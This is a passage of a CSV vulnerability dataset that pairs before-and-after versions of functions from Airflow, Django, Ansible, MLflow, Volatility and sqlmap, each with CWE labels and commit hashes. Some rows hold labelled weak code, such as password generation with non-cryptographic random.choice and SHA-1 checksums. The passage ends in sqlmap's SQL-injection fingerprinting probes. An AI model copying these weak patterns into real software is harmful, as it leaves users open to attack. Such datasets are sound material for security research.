            yield next(x for x in tis if x.task_id == DUMMY_OP)

        # first poke returns False and task is re-scheduled
        date1 = timezone.utcnow()
        time_machine.move_to(date1, tick=False)

        sensor_ti, dummy_ti = _get_tis()
        assert dummy_ti.state == State.NONE
        assert sensor_ti.state == State.NONE

        # ordinarily the scheduler does this
        sensor_ti.state = State.SCHEDULED
        sensor_ti.try_number += 1  # first TI run
        session.commit()

        self._run(sensor, session=session)

        sensor_ti, dummy_ti = _get_tis()
        assert sensor_ti.state == State.UP_FOR_RESCHEDULE
        assert dummy_ti.state == State.NONE

        # second poke returns False, timeout occurs
        time_machine.coordinates.shift(sensor.poke_interval)

        with pytest.raises(AirflowSensorTimeout):
            self._run(sensor, session=session)

        sensor_ti, dummy_ti = _get_tis()
        assert sensor_ti.state == State.FAILED
        assert dummy_ti.state == State.NONE",CWE-703,apache/airflow,3938f71dfae21c84a3518625543a28ad02edf641,"def test_fail_with_reschedule(self, make_sensor, time_machine, session):
        sensor, dr = make_sensor(return_value=False, poke_interval=10, timeout=5, mode=""reschedule"")

        def _get_tis():
            tis = dr.get_task_instances(session=session)
            assert len(tis) == 2
            yield next(x for x in tis if x.task_id == SENSOR_OP)
            yield next(x for x in tis if x.task_id == DUMMY_OP)

        # first poke returns False and task is re-scheduled
        date1 = timezone.utcnow()
        time_machine.move_to(date1, tick=False)

        self._run(sensor, session=session)
        sensor_ti, dummy_ti = _get_tis()
        assert sensor_ti.state == State.UP_FOR_RESCHEDULE
        assert dummy_ti.state == State.NONE

        # second poke returns False, timeout occurs
        time_machine.coordinates.shift(sensor.poke_interval)

        with pytest.raises(AirflowSensorTimeout):
            self._run(sensor, session=session)

        sensor_ti, dummy_ti = _get_tis()
        assert sensor_ti.state == State.FAILED
        assert dummy_ti.state == State.NONE"
,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,1,"def combine(self, rhs, connector):
        """"""
        Merge the 'rhs' query into the current one (with any 'rhs' effects
        being applied *after* (that is, ""to the right of"") anything in the
        current query. 'rhs' is not modified during a call to this function.

        The 'connector' parameter describes how to connect filters from the
        'rhs' query.
        """"""
        assert self.model == rhs.model, \
            ""Cannot combine queries on two different base models.""
        assert self.can_filter(), \
            ""Cannot combine queries once a slice has been taken.""
        assert self.distinct == rhs.distinct, \
            ""Cannot combine a unique query with a non-unique query.""
        assert self.distinct_fields == rhs.distinct_fields, \
            ""Cannot combine queries with different distinct fields.""

        # Work out how to relabel the rhs aliases, if necessary.
        change_map = {}
        conjunction = (connector == AND)

        # Determine which existing joins can be reused. When combining the
        # query with AND we must recreate all joins for m2m filters. When
        # combining with OR we can reuse joins. The reason is that in AND
        # case a single row can't fulfill a condition like:
        #     revrel__col=1 & revrel__col=2
        # But, there might be two different related rows matching this
        # condition. In OR case a single True is enough, so single row is
        # enough, too.
        #
        # Note that we will be creating duplicate joins for non-m2m joins in
        # the AND case. The results will be correct but this creates too many
        # joins. This is something that could be fixed later on.
        reuse = set() if conjunction else set(self.tables)
        # Base table must be present in the query - this is the same
        # table on both sides.
        self.get_initial_alias()
        joinpromoter = JoinPromoter(connector, 2, False)
        joinpromoter.add_votes(
            j for j in self.alias_map if self.alias_map[j].join_type == INNER)
        rhs_votes = set()
        # Now, add the joins from rhs query into the new query (skipping base
        # table).
        for alias in rhs.tables[1:]:
            join = rhs.alias_map[alias]
            # If the left side of the join was already relabeled, use the
            # updated alias.
            join = join.relabeled_clone(change_map)
            new_alias = self.join(join, reuse=reuse)
            if join.join_type == INNER:
                rhs_votes.add(new_alias)
            # We can't reuse the same join again in the query. If we have two
            # distinct joins for the same connection in rhs query, then the
            # combined query must have two joins, too.
            reuse.discard(new_alias)
            if alias != new_alias:
                change_map[alias] = new_alias
            if not rhs.alias_refcount[alias]:
                # The alias was unused in the rhs query. Unref it so that it
                # will be unused in the new query, too. We have to add and
                # unref the alias so that join promotion has information of
                # the join type for the unused alias.
                self.unref_alias(new_alias)
        joinpromoter.add_votes(rhs_votes)
        joinpromoter.update_join_types(self)

        # Now relabel a copy of the rhs where-clause and add it to the current
        # one.
        if rhs.where:
            w = rhs.where.clone()
            w.relabel_aliases(change_map)
            if not self.where:
                # Since 'self' matches everything, add an explicit ""include
                # everything"" where-constraint so that connections between the
                # where clauses won't exclude valid results.
                self.where.add(EverythingNode(), AND)
        elif self.where:
            # rhs has an empty where clause.
            w = self.where_class()
            w.add(EverythingNode(), AND)
        else:
            w = self.where_class()
        self.where.add(w, connector)

        # Selection columns and extra extensions are those provided by 'rhs'.
        self.select = []
        for col in rhs.select:
            self.add_select(col.relabeled_clone(change_map))

        if connector == OR:
            # It would be nice to be able to handle this, but the queries don't
            # really make sense (or return consistent value sets). Not worth
            # the extra complexity when you can write a real query instead.
            if self._extra and rhs._extra:
                raise ValueError(""When merging querysets using 'or', you ""
                        ""cannot have extra(select=...) on both sides."")
        self.extra.update(rhs.extra)
        extra_select_mask = set()
        if self.extra_select_mask is not None:
            extra_select_mask.update(self.extra_select_mask)
        if rhs.extra_select_mask is not None:
            extra_select_mask.update(rhs.extra_select_mask)
        if extra_select_mask:
            self.set_extra_mask(extra_select_mask)
        self.extra_tables += rhs.extra_tables

        # Ordering uses the 'rhs' ordering, unless it has none, in which case
        # the current ordering is used.
        self.order_by = rhs.order_by[:] if rhs.order_by else self.order_by
        self.extra_order_by = rhs.extra_order_by or self.extra_order_by",CWE-703,django/django,62347208bb0cef6990699d7373fa06e2e12ead07,"def combine(self, rhs, connector):
        """"""
        Merge the 'rhs' query into the current one (with any 'rhs' effects
        being applied *after* (that is, ""to the right of"") anything in the
        current query. 'rhs' is not modified during a call to this function.

        The 'connector' parameter describes how to connect filters from the
        'rhs' query.
        """"""
        assert self.model == rhs.model, \
            ""Cannot combine queries on two different base models.""
        assert self.can_filter(), \
            ""Cannot combine queries once a slice has been taken.""
        assert self.distinct == rhs.distinct, \
            ""Cannot combine a unique query with a non-unique query.""
        assert self.distinct_fields == rhs.distinct_fields, \
            ""Cannot combine queries with different distinct fields.""

        # Work out how to relabel the rhs aliases, if necessary.
        change_map = {}
        conjunction = (connector == AND)

        # Determine which existing joins can be reused. When combining the
        # query with AND we must recreate all joins for m2m filters. When
        # combining with OR we can reuse joins. The reason is that in AND
        # case a single row can't fulfill a condition like:
        #     revrel__col=1 & revrel__col=2
        # But, there might be two different related rows matching this
        # condition. In OR case a single True is enough, so single row is
        # enough, too.
        #
        # Note that we will be creating duplicate joins for non-m2m joins in
        # the AND case. The results will be correct but this creates too many
        # joins. This is something that could be fixed later on.
        reuse = set() if conjunction else set(self.tables)
        # Base table must be present in the query - this is the same
        # table on both sides.
        self.get_initial_alias()
        joinpromoter = JoinPromoter(connector, 2, False)
        joinpromoter.add_votes(
            j for j in self.alias_map if self.alias_map[j].join_type == INNER)
        rhs_votes = set()
        # Now, add the joins from rhs query into the new query (skipping base
        # table).
        for alias in rhs.tables[1:]:
            join = rhs.alias_map[alias]
            # If the left side of the join was already relabeled, use the
            # updated alias.
            join = join.relabeled_clone(change_map)
            new_alias = self.join(join, reuse=reuse)
            if join.join_type == INNER:
                rhs_votes.add(new_alias)
            # We can't reuse the same join again in the query. If we have two
            # distinct joins for the same connection in rhs query, then the
            # combined query must have two joins, too.
            reuse.discard(new_alias)
            change_map[alias] = new_alias
            if not rhs.alias_refcount[alias]:
                # The alias was unused in the rhs query. Unref it so that it
                # will be unused in the new query, too. We have to add and
                # unref the alias so that join promotion has information of
                # the join type for the unused alias.
                self.unref_alias(new_alias)
        joinpromoter.add_votes(rhs_votes)
        joinpromoter.update_join_types(self)

        # Now relabel a copy of the rhs where-clause and add it to the current
        # one.
        if rhs.where:
            w = rhs.where.clone()
            w.relabel_aliases(change_map)
            if not self.where:
                # Since 'self' matches everything, add an explicit ""include
                # everything"" where-constraint so that connections between the
                # where clauses won't exclude valid results.
                self.where.add(EverythingNode(), AND)
        elif self.where:
            # rhs has an empty where clause.
            w = self.where_class()
            w.add(EverythingNode(), AND)
        else:
            w = self.where_class()
        self.where.add(w, connector)

        # Selection columns and extra extensions are those provided by 'rhs'.
        self.select = []
        for col in rhs.select:
            self.add_select(col.relabeled_clone(change_map))

        if connector == OR:
            # It would be nice to be able to handle this, but the queries don't
            # really make sense (or return consistent value sets). Not worth
            # the extra complexity when you can write a real query instead.
            if self._extra and rhs._extra:
                raise ValueError(""When merging querysets using 'or', you ""
                        ""cannot have extra(select=...) on both sides."")
        self.extra.update(rhs.extra)
        extra_select_mask = set()
        if self.extra_select_mask is not None:
            extra_select_mask.update(self.extra_select_mask)
        if rhs.extra_select_mask is not None:
            extra_select_mask.update(rhs.extra_select_mask)
        if extra_select_mask:
            self.set_extra_mask(extra_select_mask)
        self.extra_tables += rhs.extra_tables

        # Ordering uses the 'rhs' ordering, unless it has none, in which case
        # the current ordering is used.
        self.order_by = rhs.order_by[:] if rhs.order_by else self.order_by
        self.extra_order_by = rhs.extra_order_by or self.extra_order_by"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/shell/sh.py,1,"def checksum(self, path, python_interp):
        # The following test needs to be SH-compliant.  BASH-isms will
        # not work if /bin/sh points to a non-BASH shell.
        #
        # In the following test, each condition is a check and logical
        # comparison (|| or &&) that sets the rc value.  Every check is run so
        # the last check in the series to fail will be the rc that is
        # returned.
        #
        # If a check fails we error before invoking the hash functions because
        # hash functions may successfully take the hash of a directory on BSDs
        # (UFS filesystem?) which is not what the rest of the ansible code
        # expects
        #
        # If all of the available hashing methods fail we fail with an rc of
        # 0.  This logic is added to the end of the cmd at the bottom of this
        # function.

        # Return codes:
        # checksum: success!
        # 0: Unknown error
        # 1: Remote file does not exist
        # 2: No read permissions on the file
        # 3: File is a directory
        # 4: No python interpreter

        # Quoting gets complex here.  We're writing a python string that's
        # used by a variety of shells on the remote host to invoke a python
        # ""one-liner"".
        shell_escaped_path = pipes.quote(path)
        test = ""rc=flag; [ -r %(p)s ] || rc=2; [ -f %(p)s ] || rc=1; [ -d %(p)s ] && rc=3; %(i)s -V 2>/dev/null || rc=4; [ x\""$rc\"" != \""xflag\"" ] && echo \""${rc}  \""%(p)s && exit 0"" % dict(p=shell_escaped_path, i=python_interp)
        csums = [
            ""({0} -c 'import hashlib; BLOCKSIZE = 65536; hasher = hashlib.sha1();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python > 2.4 (including python3)
            ""({0} -c 'import sha; BLOCKSIZE = 65536; hasher = sha.sha();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python == 2.4
        ]

        cmd = "" || "".join(csums)
        cmd = ""%s; %s || (echo \'0  \'%s)"" % (test, cmd, shell_escaped_path)
        return cmd",CWE-327,ansible/ansible,30d481ac571f1c95bcc7c69a09100c1af935445a,"def checksum(self, path, python_interp):
        # The following test needs to be SH-compliant.  BASH-isms will
        # not work if /bin/sh points to a non-BASH shell.
        #
        # In the following test, each condition is a check and logical
        # comparison (|| or &&) that sets the rc value.  Every check is run so
        # the last check in the series to fail will be the rc that is
        # returned.
        #
        # If a check fails we error before invoking the hash functions because
        # hash functions may successfully take the hash of a directory on BSDs
        # (UFS filesystem?) which is not what the rest of the ansible code
        # expects
        #
        # If all of the available hashing methods fail we fail with an rc of
        # 0.  This logic is added to the end of the cmd at the bottom of this
        # function.

        # Return codes:
        # checksum: success!
        # 0: Unknown error
        # 1: Remote file does not exist
        # 2: No read permissions on the file
        # 3: File is a directory
        # 4: No python interpreter

        # Quoting gets complex here.  We're writing a python string that's
        # used by a variety of shells on the remote host to invoke a python
        # ""one-liner"".
        shell_escaped_path = pipes.quote(path)
        test = ""rc=flag; [ -r %(p)s ] || rc=2; [ -f %(p)s ] || rc=1; [ -d %(p)s ] && rc=3; %(i)s -V 2>/dev/null || rc=4; [ x\""$rc\"" != \""xflag\"" ] && echo \""${rc}  \""%(p)s && exit 0"" % dict(p=shell_escaped_path, i=python_interp)
        csums = [
            ""({0} -c 'import hashlib; BLOCKSIZE = 65536; hasher = hashlib.sha1();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python > 2.4 (including python3)
            ""({0} -c 'import sha; BLOCKSIZE = 65536; hasher = sha.sha();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python == 2.4
        ]

        cmd = "" || "".join(csums)
        cmd = ""%s; %s || (echo \'0  \'%s)"" % (test, cmd, shell_escaped_path)
        return cmd"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/schema.py,1,"def alter_field(self, model, old_field, new_field, strict=False):
        old_field_name = old_field.name
        table_name = model._meta.db_table
        _, old_column_name = old_field.get_attname_column()
        if (new_field.name != old_field_name and
                self._is_referenced_by_fk_constraint(table_name, old_column_name, ignore_self=True)):
            if self.connection.in_atomic_block:
                raise NotSupportedError((
                    'Renaming the %r.%r column while in a transaction is not '
                    'supported on SQLite because it would break referential '
                    'integrity. Try adding `atomic = False` to the Migration class.'
                ) % (model._meta.db_table, old_field_name))
            with atomic(self.connection.alias):
                super().alter_field(model, old_field, new_field, strict=strict)
                # Follow SQLite's documented procedure for performing changes
                # that don't affect the on-disk content.
                # https://sqlite.org/lang_altertable.html#otheralter
                with self.connection.cursor() as cursor:
                    schema_version = cursor.execute('PRAGMA schema_version').fetchone()[0]
                    cursor.execute('PRAGMA writable_schema = 1')
                    references_template = ' REFERENCES ""%s"" (""%%s"") ' % table_name
                    new_column_name = new_field.get_attname_column()[1]
                    search = references_template % old_column_name
                    replacement = references_template % new_column_name
                    cursor.execute('UPDATE sqlite_master SET sql = replace(sql, %s, %s)', (search, replacement))
                    cursor.execute('PRAGMA schema_version = %d' % (schema_version + 1))
                    cursor.execute('PRAGMA writable_schema = 0')
                    # The integrity check will raise an exception and rollback
                    # the transaction if the sqlite_master updates corrupt the
                    # database.
                    cursor.execute('PRAGMA integrity_check')
            # Perform a VACUUM to refresh the database representation from
            # the sqlite_master table.
            with self.connection.cursor() as cursor:
                cursor.execute('VACUUM')
        else:
            super().alter_field(model, old_field, new_field, strict=strict)",CWE-89,django/django,95bda03f2da15172cf342f13ba8a77c007b63fbb,"def alter_field(self, model, old_field, new_field, strict=False):
        old_field_name = old_field.name
        table_name = model._meta.db_table
        _, old_column_name = old_field.get_attname_column()
        if (new_field.name != old_field_name and
                self._is_referenced_by_fk_constraint(table_name, old_column_name, ignore_self=True)):
            if self.connection.in_atomic_block:
                raise NotSupportedError((
                    'Renaming the %r.%r column while in a transaction is not '
                    'supported on SQLite because it would break referential '
                    'integrity. Try adding `atomic = False` to the Migration class.'
                ) % (model._meta.db_table, old_field_name))
            with atomic(self.connection.alias):
                super().alter_field(model, old_field, new_field, strict=strict)
                # Follow SQLite's documented procedure for performing changes
                # that don't affect the on-disk content.
                # https://sqlite.org/lang_altertable.html#otheralter
                with self.connection.cursor() as cursor:
                    schema_version = cursor.execute('PRAGMA schema_version').fetchone()[0]
                    cursor.execute('PRAGMA writable_schema = 1')
                    references_template = ' REFERENCES ""%s"" (""%%s"") ' % table_name
                    new_column_name = new_field.get_attname_column()[1]
                    search = references_template % old_column_name
                    replacement = references_template % new_column_name
                    cursor.execute('UPDATE sqlite_master SET sql = replace(sql, %s, %s)', (search, replacement))
                    cursor.execute('PRAGMA schema_version = %d' % (schema_version + 1))
                    cursor.execute('PRAGMA writable_schema = 0')
                    # The integrity check will raise an exception and rollback
                    # the transaction if the sqlite_master updates corrupt the
                    # database.
                    cursor.execute('PRAGMA integrity_check')
            # Perform a VACUUM to refresh the database representation from
            # the sqlite_master table.
            with self.connection.cursor() as cursor:
                cursor.execute('VACUUM')
        else:
            super().alter_field(model, old_field, new_field, strict=strict)"
,UNKNOWN,UNKNOWN,tests/recipes/test_ingest_step.py,1,"def test_ingest_skips_profiling_when_specified(pandas_df, tmp_path):
    dataset_path = tmp_path / ""df.parquet""
    pandas_df.to_parquet(dataset_path)

    with mock.patch(""mlflow.recipes.utils.step.get_pandas_data_profiles"") as mock_profiling:
        IngestStep.from_recipe_config(
            recipe_config={
                ""target_col"": ""C"",
                ""steps"": {
                    ""ingest"": {
                        ""using"": ""parquet"",
                        ""location"": str(dataset_path),
                        ""skip_data_profiling"": True,
                    }
                },
            },
            recipe_root=os.getcwd(),
        ).run(output_directory=tmp_path)

    expected_step_card_path = os.path.join(tmp_path, ""card.html"")
    with open(expected_step_card_path) as f:
        step_card_html_content = f.read()
    assert ""facets-overview"" not in step_card_html_content
    mock_profiling.assert_not_called()",CWE-703,mlflow/mlflow,8163d24d0ad5ec6f7821601d588711c3dd30a809,"def test_ingest_skips_profiling_when_specified(pandas_df, tmp_path):
    dataset_path = tmp_path / ""df.parquet""
    pandas_df.to_parquet(dataset_path)

    with mock.patch(""mlflow.recipes.utils.step.get_pandas_data_profiles"") as mock_profiling:
        IngestStep.from_recipe_config(
            recipe_config={
                ""target_col"": ""C"",
                ""steps"": {
                    ""ingest"": {
                        ""using"": ""parquet"",
                        ""location"": str(dataset_path),
                        ""skip_data_profiling"": True,
                    }
                },
            },
            recipe_root=os.getcwd(),
        ).run(output_directory=tmp_path)

    expected_step_card_path = os.path.join(tmp_path, ""card.html"")
    with open(expected_step_card_path) as f:
        step_card_html_content = f.read()
    assert ""facets-overview"" not in step_card_html_content
    mock_profiling.assert_not_called()"
,UNKNOWN,UNKNOWN,tests/models/test_taskmixin.py,1,"def test_cannot_set_on_failure_fail_dagrun_unless_teardown_taskflow(dag_maker):
    @task(on_failure_fail_dagrun=True)
    def my_bad_task():
        pass

    @task
    def my_ok_task():
        pass

    with dag_maker():
        with pytest.raises(
            ValueError,
            match=""Cannot set task on_failure_fail_dagrun for ""
            ""'my_bad_task' because it is not a teardown task"",
        ):
            my_bad_task()
        # no issue
        m = my_ok_task()
        assert m.operator.is_teardown is False
        # also fine
        m = my_ok_task().as_teardown()
        assert m.operator.is_teardown is True
        assert m.operator.on_failure_fail_dagrun is False
        # and also fine
        m = my_ok_task().as_teardown(on_failure_fail_dagrun=True)
        assert m.operator.is_teardown is True
        assert m.operator.on_failure_fail_dagrun is True
        # but we can't unset
        with pytest.raises(
            ValueError, match=""Cannot mark task 'my_ok_task__2' as setup; task is already a teardown.""
        ):
            m.as_setup()
        with pytest.raises(
            ValueError, match=""Cannot mark task 'my_ok_task__2' as setup; task is already a teardown.""
        ):
            m.operator.is_setup = True",CWE-703,apache/airflow,12a801e9a28435605483d2011a0fca121e3864e4,"def test_cannot_set_on_failure_fail_dagrun_unless_teardown_taskflow(dag_maker):
    @task(on_failure_fail_dagrun=True)
    def my_bad_task():
        pass

    @task
    def my_ok_task():
        pass

    with dag_maker():
        with pytest.raises(
            ValueError,
            match=""Cannot set task on_failure_fail_dagrun for ""
            ""'my_bad_task' because it is not a teardown task"",
        ):
            my_bad_task()
        # no issue
        m = my_ok_task()
        assert m.operator.is_teardown is False
        # also fine
        m = my_ok_task().as_teardown()
        assert m.operator.is_teardown is True
        assert m.operator.on_failure_fail_dagrun is False
        # and also fine
        m = my_ok_task().as_teardown(on_failure_fail_dagrun=True)
        assert m.operator.is_teardown is True
        assert m.operator.on_failure_fail_dagrun is True
        # but we can't unset
        with pytest.raises(
            ValueError, match=""Cannot mark task 'my_ok_task__2' as setup; task is already a teardown.""
        ):
            m.as_setup()
        with pytest.raises(
            ValueError, match=""Cannot mark task 'my_ok_task__2' as setup; task is already a teardown.""
        ):
            m.operator.is_setup = True"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/autodetector.py,0,"def generate_renamed_fields(self):
        """"""
        Works out renamed fields
        """"""
        self.renamed_fields = {}
        for app_label, model_name, field_name in sorted(self.new_field_keys - self.old_field_keys):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            field = self.new_apps.get_model(app_label, model_name)._meta.get_field_by_name(field_name)[0]
            # Scan to see if this is actually a rename!
            field_dec = self.deep_deconstruct(field)
            for rem_app_label, rem_model_name, rem_field_name in sorted(self.old_field_keys - self.new_field_keys):
                if rem_app_label == app_label and rem_model_name == model_name:
                    old_field_dec = self.deep_deconstruct(old_model_state.get_field_by_name(rem_field_name))
                    if field.rel and field.rel.to and 'to' in old_field_dec[2]:
                        old_rel_to = old_field_dec[2]['to']
                        if old_rel_to in self.renamed_models_rel:
                            old_field_dec[2]['to'] = self.renamed_models_rel[old_rel_to]
                    if old_field_dec == field_dec:
                        if self.questioner.ask_rename(model_name, rem_field_name, field_name, field):
                            self.add_operation(
                                app_label,
                                operations.RenameField(
                                    model_name=model_name,
                                    old_name=rem_field_name,
                                    new_name=field_name,
                                )
                            )
                            self.old_field_keys.remove((rem_app_label, rem_model_name, rem_field_name))
                            self.old_field_keys.add((app_label, model_name, field_name))
                            self.renamed_fields[app_label, model_name, field_name] = rem_field_name
                            break",CWE-Unknown,django/django,063e7e56bcd34d76e9072ebfa3b9f1d9679dc6e9,"def generate_renamed_fields(self):
        """"""
        Works out renamed fields
        """"""
        self.renamed_fields = {}
        for app_label, model_name, field_name in sorted(self.new_field_keys - self.old_field_keys):
            old_model_name = self.renamed_models.get((app_label, model_name), model_name)
            old_model_state = self.from_state.models[app_label, old_model_name]
            field = self.new_apps.get_model(app_label, model_name)._meta.get_field_by_name(field_name)[0]
            # Scan to see if this is actually a rename!
            field_dec = self.deep_deconstruct(field)
            for rem_app_label, rem_model_name, rem_field_name in sorted(self.old_field_keys - self.new_field_keys):
                if rem_app_label == app_label and rem_model_name == model_name:
                    old_field_dec = self.deep_deconstruct(old_model_state.get_field_by_name(rem_field_name))
                    if field.rel and field.rel.to and 'to' in old_field_dec[2]:
                        old_rel_to = old_field_dec[2]['to']
                        if old_rel_to in self.renamed_models_rel:
                            old_field_dec[2]['to'] = self.renamed_models_rel[old_rel_to]
                    if old_field_dec == field_dec:
                        if self.questioner.ask_rename(model_name, rem_field_name, field_name, field):
                            self.add_operation(
                                app_label,
                                operations.RenameField(
                                    model_name=model_name,
                                    old_name=rem_field_name,
                                    new_name=field_name,
                                )
                            )
                            self.old_field_keys.remove((rem_app_label, rem_model_name, rem_field_name))
                            self.old_field_keys.add((app_label, model_name, field_name))
                            self.renamed_fields[app_label, model_name, field_name] = rem_field_name
                            break"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/registry/lsadump.py,0,"def render_text(self, outfd, data):
        for d in data:
            if d == None:
                debug.debug(""Unable to read hashes from registry"")
            else:
                outfd.write(d + ""\n"")",,volatilityfoundation/volatility,2cc4cdf7b78488e998f8850e029c29303441051e,"def render_text(self, outfd, data):
        for d in data:
            if d == None:
                debug.error(""Unable to read hashes from registry"")
            outfd.write(d + ""\n"")"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/__init__.py,0,"def __init__(self, task, connection, connection_info, loader, templar, shared_loader_obj):
        self._task              = task
        self._connection        = connection
        self._connection_info   = connection_info
        self._loader            = loader
        self._templar           = templar
        self._shared_loader_obj = shared_loader_obj

        # load the shell plugin for this action/connection
        if self._connection_info.shell:
            shell_type = self._connection_info.shell
        elif hasattr(connection, '_shell'):
            shell_type = getattr(connection, '_shell')
        else:
            shell_type = os.path.basename(C.DEFAULT_EXECUTABLE)

        self._shell = shell_loader.get(shell_type)
        if not self._shell:
            raise AnsibleError(""Invalid shell type specified (%s), or the plugin for that shell type is missing."" % shell_type)

        self._supports_check_mode = True",,ansible/ansible,ee5e166563ca01a556a921b177a632ea5c2f1a44,"def __init__(self, task, connection, connection_info, loader, templar, shared_loader_obj):
        self._task              = task
        self._connection        = connection
        self._connection_info   = connection_info
        self._loader            = loader
        self._templar           = templar
        self._shared_loader_obj = shared_loader_obj

        # load the shell plugin for this action/connection
        if self._connection_info.shell:
            shell_type = self._connection_info.shell
        elif hasattr(connection, '_shell'):
            shell_type = getattr(connection, '_shell')
        else:
            shell_type = os.path.basename(C.DEFAULT_EXECUTABLE)

        self._shell = shell_loader.get(shell_type)
        if not self._shell:
            raise AnsibleError(""Invalid shell type specified (%s), or the plugin for that shell type is missing."" % shell_type)

        self._supports_check_mode = True"
,UNKNOWN,UNKNOWN,lib/ansible/runner/lookup_plugins/password.py,1,"def run(self, terms, inject=None, **kwargs):

        terms = utils.listify_lookup_plugin_terms(terms, self.basedir, inject) 

        ret = []

        for term in terms:
            # you can't have escaped spaces in yor pathname
            params = term.split()
            relpath = params[0]

            paramvals = {
                'length': LookupModule.LENGTH,
                'encrypt': None,
                'chars': ['ascii_letters','digits',"".,:-_""],
            }

            # get non-default parameters if specified
            try:
                for param in params[1:]:
                    name, value = param.split('=')
                    assert(name in paramvals)
                    if name == 'length':
                        paramvals[name] = int(value)
                    elif name == 'chars':
                        use_chars=[]
                        if "",,"" in value: 
                            use_chars.append(',')
                        use_chars.extend(value.replace(',,',',').split(','))
                        paramvals['chars'] = use_chars
                    else:
                        paramvals[name] = value
            except (ValueError, AssertionError) as e:
                raise errors.AnsibleError(e)

            length  = paramvals['length']
            encrypt = paramvals['encrypt']
            use_chars = paramvals['chars']

            # get password or create it if file doesn't exist
            path = utils.path_dwim(self.basedir, relpath)
            if not os.path.exists(path):
                pathdir = os.path.dirname(path)
                if not os.path.isdir(pathdir):
                    os.makedirs(pathdir)

                chars = """".join([getattr(string,c,c) for c in use_chars]).replace('""','').replace(""'"",'')
                password = ''.join(random.choice(chars) for _ in range(length))

                if encrypt is not None:
                    salt = self.random_salt()
                    content = '%s salt=%s' % (password, salt)
                else:
                    content = password
                with open(path, 'w') as f:
                    f.write(content + '\n')
            else:
                content = open(path).read().rstrip()
                sep = content.find(' ')

                if sep >= 0:
                    password = content[:sep]
                    salt = content[sep+1:].split('=')[1]
                else:
                    password = content
                    salt = None

                # crypt requested, add salt if missing
                if (encrypt is not None and not salt):
                    salt = self.random_salt()
                    content = '%s salt=%s' % (password, salt)
                    with open(path, 'w') as f:
                        f.write(content + '\n')
                # crypt not requested, remove salt if present
                elif (encrypt is None and salt):
                    with open(path, 'w') as f:
                        f.write(password + '\n')

            if encrypt:
                password = utils.do_encrypt(password, encrypt, salt=salt)

            ret.append(password)

        return ret",CWE-330,ansible/ansible,b815a095293669437c170aad8cdd0111bf0dce51,"def run(self, terms, inject=None, **kwargs):

        terms = utils.listify_lookup_plugin_terms(terms, self.basedir, inject) 

        ret = []

        for term in terms:
            # you can't have escaped spaces in yor pathname
            params = term.split()
            relpath = params[0]

            paramvals = {
                'length': LookupModule.LENGTH,
                'encrypt': None,
                'chars': ['ascii_letters','digits',"".,:-_""],
            }

            # get non-default parameters if specified
            try:
                for param in params[1:]:
                    name, value = param.split('=')
                    assert(name in paramvals)
                    if name == 'length':
                        paramvals[name] = int(value)
                    elif name == 'chars':
                        use_chars=[]
                        if "",,"" in value: use_chars.append(',')
                        use_chars.extend(value.replace(',,',',').split(','))
                        paramvals['chars'] = use_chars
                    else:
                        paramvals[name] = value
            except (ValueError, AssertionError) as e:
                raise errors.AnsibleError(e)

            length  = paramvals['length']
            encrypt = paramvals['encrypt']
            use_chars = paramvals['chars']

            # get password or create it if file doesn't exist
            path = utils.path_dwim(self.basedir, relpath)
            if not os.path.exists(path):
                pathdir = os.path.dirname(path)
                if not os.path.isdir(pathdir):
                    os.makedirs(pathdir)

                chars = """".join([getattr(string,c,c) for c in use_chars]).replace('""','').replace(""'"",'')
                password = ''.join(random.choice(chars) for _ in range(length))

                if encrypt is not None:
                    salt = self.random_salt()
                    content = '%s salt=%s' % (password, salt)
                else:
                    content = password
                with open(path, 'w') as f:
                    f.write(content + '\n')
            else:
                content = open(path).read().rstrip()
                sep = content.find(' ')

                if sep >= 0:
                    password = content[:sep]
                    salt = content[sep+1:].split('=')[1]
                else:
                    password = content
                    salt = None

                # crypt requested, add salt if missing
                if (encrypt is not None and not salt):
                    salt = self.random_salt()
                    content = '%s salt=%s' % (password, salt)
                    with open(path, 'w') as f:
                        f.write(content + '\n')
                # crypt not requested, remove salt if present
                elif (encrypt is None and salt):
                    with open(path, 'w') as f:
                        f.write(password + '\n')

            if encrypt:
                password = utils.do_encrypt(password, encrypt, salt=salt)

            ret.append(password)

        return ret"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/access/fingerprint.py,0,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES):
            setDbms(DBMS.ACCESS)

            return True

        infoMsg = ""testing %s"" % DBMS.ACCESS
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""VAL(CVAR(1))=1"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.ACCESS
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"")

            if not result:
